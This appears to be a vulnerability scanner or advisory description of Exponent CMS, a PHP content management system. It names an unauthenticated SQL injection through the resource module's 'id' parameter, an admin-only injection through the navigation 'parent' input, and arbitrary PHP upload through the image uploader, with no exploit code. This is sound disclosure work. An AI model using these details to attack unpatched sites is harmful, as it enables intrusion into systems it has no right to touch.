The remote host is running Exponent CMS, an open source content management system written in PHP.
The version of Exponent CMS installed on the remote host fails to sanitize input to the ‘id’ parameter of the resource module before using it in database queries. An unauthenticated attacker can exploit this issue to manipulate SQL queries regardless of the setting of PHP’s ‘magic_quotes_gpc’ variable.
The application also reportedly fails to sanitize input to the ‘parent’ module of the navigation module before using that in database queries if the user is authenticated and acting as an admin and may allow an authenticated user to upload files with arbitrary PHP code through its image upload facility and then execute that code on the remote host subject to the permissions of the web server user id.
